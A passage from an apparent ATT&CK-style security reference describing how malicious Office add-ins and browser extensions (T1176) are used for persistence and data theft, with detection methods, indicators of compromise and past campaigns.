  Malicious browser extensions can intercept browsing data, inject code into web pages, redirect users to malicious websites, or steal credentials and session cookies. Attackers may distribute these extensions via social engineering, phishing campaigns, or compromised extension repositories.
* **Email Client Plugins:**\
  Malicious plugins for email clients can intercept and exfiltrate sensitive communications, inject malicious links or attachments into outgoing emails, or execute code upon receiving specific email messages.

Real-world procedures often include:

* Distributing malicious add-ins via phishing emails or malicious websites.
* Leveraging legitimate software update mechanisms to install compromised plugins.
* Using social engineering to convince users to install or activate malicious add-ins.
* Modifying existing legitimate add-ins to include malicious functionality.

## When this Technique is Usually Used

Attackers typically leverage add-ins at various stages of an attack lifecycle, including:

* **Initial Access:**\
  Attackers may distribute malicious add-ins as email attachments or downloads from compromised websites, tricking users into installing or activating them.
* **Persistence:**\
  Add-ins provide attackers with persistence mechanisms, as they automatically execute each time the host application is launched or documents are opened.
* **Execution:**\
  Malicious add-ins can execute arbitrary code, enabling attackers to load additional payloads, establish command-and-control (C2) channels, or perform lateral movement.
* **Credential Access and Data Exfiltration:**\
  Add-ins can intercept sensitive information, credentials, keystrokes, or communications, enabling attackers to exfiltrate data covertly.
* **Privilege Escalation:**\
  Certain add-ins may run with elevated permissions or inherit privileges from host applications, allowing attackers to escalate privileges on compromised systems.

## How this Technique is Usually Detected

Detection methods and indicators include:

* **Endpoint Detection and Response (EDR) Solutions:**\
  Monitor and alert on suspicious add-in installations, execution, or behavior, such as unexpected process creation or network connections.
* **Application Whitelisting/Blacklisting:**\
  Enforce policies restricting unauthorized add-ins, plugins, or extensions from executing on endpoints.
* **Logging and Auditing:**\
  Monitor event logs for unusual add-in installations, activations, or modifications. Relevant logs include:
  * Windows Event Logs (Application, System, Security)
  * Office Trust Center logs
  * Browser extension installation logs
* **Behavioral Analysis:**\
  Identify abnormal behaviors, such as unexpected network traffic, credential harvesting attempts, or unusual file system interactions initiated by add-ins.
* **Network Security Monitoring:**\
  Inspect network traffic for unusual outbound connections initiated by add-ins, especially to unknown or suspicious IP addresses or domains.

Specific Indicators of Compromise (IoCs):

* Unrecognized or unauthorized add-ins appearing in Office applications or browsers.
* Add-ins installed from suspicious URLs or domains.
* Unexpected registry keys or filesystem artifacts related to add-ins:
  * Registry paths:
    * `HKCU\Software\Microsoft\Office\<version>\Excel\Addins\`
    * `HKCU\Software\Microsoft\Office\<version>\Word\Addins\`
    * `HKCU\Software\Microsoft\Office\Outlook\Addins\`
  * File locations:
    * `%APPDATA%\Microsoft\AddIns\`
    * `%ProgramFiles%\Microsoft Office\root\Office16\Library\`

## Why it is Important to Detect This Technique

Detecting malicious add-ins is critical due to several potential impacts:

* **Persistent Access:**\
  Add-ins provide attackers with persistent footholds, enabling long-term compromise and repeated exploitation.
* **Stealthy Execution:**\
  Malicious add-ins often blend into legitimate applications, making detection challenging without dedicated monitoring.
* **Sensitive Data Exposure:**\
  Attackers can intercept sensitive information such as credentials, intellectual property, financial data, and confidential communications.
* **Credential Theft and Account Compromise:**\
  Attackers may leverage malicious add-ins to harvest credentials, leading to account takeovers, lateral movement, and further exploitation.
* **System Stability and Integrity:**\
  Malicious add-ins can degrade application performance, crash systems, or cause data corruption, impacting user productivity and system reliability.

Early detection can significantly reduce the attacker’s dwell time, limit data exfiltration, and mitigate the overall impact of compromise.

## Examples

Real-world examples of malicious add-in usage include:

* **TA410 Group (APT10) Operation:**
  * Attackers deployed malicious Excel Add-ins (.XLL files) to target organizations in espionage operations.
  * Users received phishing emails with malicious Excel attachments containing add-ins that executed payloads upon opening.
  * Impact: Persistent access, data exfiltration, credential theft.
* **FIN7 Group Attacks:**
  * FIN7 leveraged malicious Office add-ins embedded in spear-phishing documents to execute malware payloads.
  * Malicious documents prompted users to enable macros or install add-ins, resulting in persistent malware infections.
  * Impact: Financial data theft, credential compromise, persistent malware infections.
* **Browser Extension Malware Campaigns (Chrome Extension Malware):**
  * Attackers distributed malicious browser extensions via compromised Chrome Web Store accounts or phishing campaigns.
  * Malicious extensions harvested user credentials, redirected users to phishing pages, or injected malicious advertisements.
  * Impact: Credential theft, financial fraud, data exfiltration.
* **Operation Sharpshooter (North Korean Lazarus Group):**
  * Employed malicious Office add-ins and macros embedded in recruitment-themed documents.
  * Upon activation, add-ins executed malicious payloads establishing persistent backdoors and C2 channels.
  * Impact: Persistent espionage operations, data theft, lateral movement within targeted networks.


# Browser Extensions

Browser Extensions \[T1176]

## Information

* Name: Browser Extensions
* ID: T1176
* Tactics: [TA0003](/mitre/mitre/ta0003)

## Introduction

Browser extensions, as defined within the MITRE ATT\&CK framework (Technique ID: T1176), represent a tactic where adversaries exploit or manipulate browser extensions to execute malicious activities. Browser extensions are small software modules designed to enhance browser functionality, but attackers can leverage them to achieve persistence, execute arbitrary scripts, collect sensitive information, or redirect user traffic. Due to their integration into browsers, compromised or malicious extensions can provide adversaries significant access to user data and browser behavior.

## Deep Dive Into Technique

Browser extensions typically operate within the browser's context, granting them extensive access to web page content, user interactions, cookies, browsing history, and network requests. Attackers exploit extensions through several technical methods:

* **Malicious Extension Development:**
  * Attackers create extensions that appear legitimate but contain hidden malicious functionality.
  * These extensions may pass initial browser store security checks through obfuscation or delayed activation techniques.
* **Compromise of Legitimate Extensions:**
  * Adversaries compromise legitimate extensions by exploiting vulnerabilities in their update mechanisms, repositories, or developer accounts.
  * Once compromised, attackers inject malicious scripts or payloads into extension updates, automatically affecting installed users.
* **Sideloading and Social Engineering:**
  * Attackers persuade users to install malicious extensions directly from third-party websites or via social engineering campaigns.
  * Users may bypass official browser store security checks by manually installing these extensions.
* **Extension Manipulation:**
  * Attackers manipulate existing extensions by exploiting vulnerabilities in their scripts or APIs to execute malicious code within the browser context.

Technical mechanisms commonly seen include:

* JavaScript injection to intercept or modify web requests and responses.
* Background scripts running persistently to monitor user activities and exfiltrate data.
* Content scripts injected into web pages to manipulate user interactions or steal credentials.
* Leveraging browser permissions to access sensitive browser data such as cookies, credentials, browsing history, and bookmarks.

Real-world procedures typically include:

* Credential theft via browser session hijacking.
* Data exfiltration through covert HTTP/S requests to attacker-controlled servers.
* Browser-based cryptojacking scripts running silently in the background.
* Manipulation of web content to redirect users to malicious or phishing websites.

## When this Technique is Usually Used

Attackers use browser extensions across various stages and scenarios of cyber-attacks, including:

* **Initial Access and Delivery:**
  * Phishing campaigns tricking users into installing malicious extensions.
  * Malvertising campaigns delivering extensions through deceptive advertisements.
* **Persistence:**
  * Malicious extensions automatically load and execute upon browser startup, ensuring persistent access to user data and browsing sessions.
* **Credential Access and Data Collection:**
  * Extensions silently collect user credentials, session tokens, browsing history, and personal information for espionage, identity theft, or financial fraud.
* **Command and Control (C2):**
  * Extensions communicate with attacker-controlled servers to receive commands, updates, or exfiltrate stolen data.
* **Impact and Manipulation:**
  * Extensions alter web page content, redirect users to malicious resources, or inject malicious advertisements and scripts.

## How this Technique is Usually Detected

Detection of malicious browser extensions typically involves a combination of endpoint monitoring, network analysis, and behavioral anomaly detection:

* **Endpoint Detection and Response (EDR) Tools:**
  * Monitoring browser extension installation events, updates, and modification activities.
  * Analyzing browser extension files and scripts for suspicious or malicious code patterns.
* **Network Traffic Analysis:**
  * Identifying anomalous outbound connections from browsers to unknown or suspicious domains.
  * Detecting unusual patterns of data exfiltration or beaconing behavior indicative of command-and-control communication.
* **Browser Security Policies and Controls:**
  * Implementing enterprise browser management tools to audit and control allowed extensions.
  * Using browser security extensions or built-in browser security features to detect unauthorized or suspicious extensions.
* **Behavioral Analysis and Anomaly Detection:**
  * Monitoring browser processes for abnormal CPU, memory, or network usage indicative of cryptojacking or data exfiltration.
  * Detecting unauthorized changes to browser settings, such as homepage or search engine modifications.
* **Indicators of Compromise (IoCs):**
  * Presence of unknown or suspicious browser extension IDs.
  * Unusual browser behavior or frequent redirections to unknown websites.
  * Detection of suspicious JavaScript code patterns, such as obfuscated scripts, unusual API calls, or unauthorized data access attempts.
  * Unexpected network connections or DNS queries to known malicious domains or IPs.

## Why it is Important to Detect This Technique

Early detection of malicious browser extensions is critical due to their potential severe impacts on systems, networks, and user privacy:

* **Credential Theft and Identity Fraud:**
  * Attackers can steal credentials, session cookies, and sensitive personal information, leading to identity theft, financial fraud, or unauthorized account access.
* **Data Exfiltration and Espionage:**
  * Malicious extensions silently exfiltrate sensitive corporate or personal data, resulting in data breaches, regulatory compliance issues, and reputational damage.
* **Persistent Access and Lateral Movement:**
  * Extensions provide persistent, stealthy footholds, allowing attackers prolonged access to user environments, enabling lateral movement and deeper compromise.
* **Resource Hijacking and Performance Degradation:**
  * Cryptojacking extensions consume system resources, degrading system performance and increasing energy consumption.
* **Manipulation and Redirection:**
  * Attackers redirect users to phishing sites, malicious downloads, or fraudulent advertisements, increasing exposure to further attacks and malware infections.

Given these significant risks, organizations must prioritize detecting and mitigating malicious browser extensions to protect users, sensitive data, and overall cybersecurity posture.

## Examples

Real-world examples demonstrate how attackers leverage malicious browser extensions in cyber-attacks:

* **Mega.nz Chrome Extension Compromise (2018):**
  * Attackers compromised the legitimate Mega.nz Chrome extension by injecting malicious JavaScript code.
  * Malicious code stole login credentials and cryptocurrency wallet private keys from users.
  * Impact: Over 1.6 million users potentially affected, highlighting risks associated with compromised legitimate extensions.
* **Nigelthorn Malware Campaign (2018):**
  * Attackers distributed malicious Chrome extensions through Facebook messages linking to fake YouTube pages.
  * Extensions stole social media credentials, propagated malware, and performed cryptojacking operations.
  * Impact: Over 100,000 users infected, significant data theft, and unauthorized cryptocurrency mining.
* **DataSpii Leak (2019):**
  * Multiple browser extensions, including "Hover Zoom" and "SpeakIt!", collected and leaked sensitive browsing data.
  * Data included URLs, page titles, and personal information, sold to third parties.
  * Impact: Millions of users affected, highlighting privacy risks from seemingly benign extensions.
* **Razy Malware Campaign (2019):**
  * Malware installed malicious browser extensions in Chrome, Firefox, and Yandex browsers.
  * Extensions intercepted cryptocurrency wallet addresses and redirected cryptocurrency transactions to attacker-controlled wallets.
  * Impact: Financial losses for users and organizations, demonstrating direct financial theft via malicious extensions.

These examples underscore the critical importance of closely monitoring and managing browser extensions to prevent severe cybersecurity incidents and data breaches.




---

[Next Page](/llms-full.txt/1)

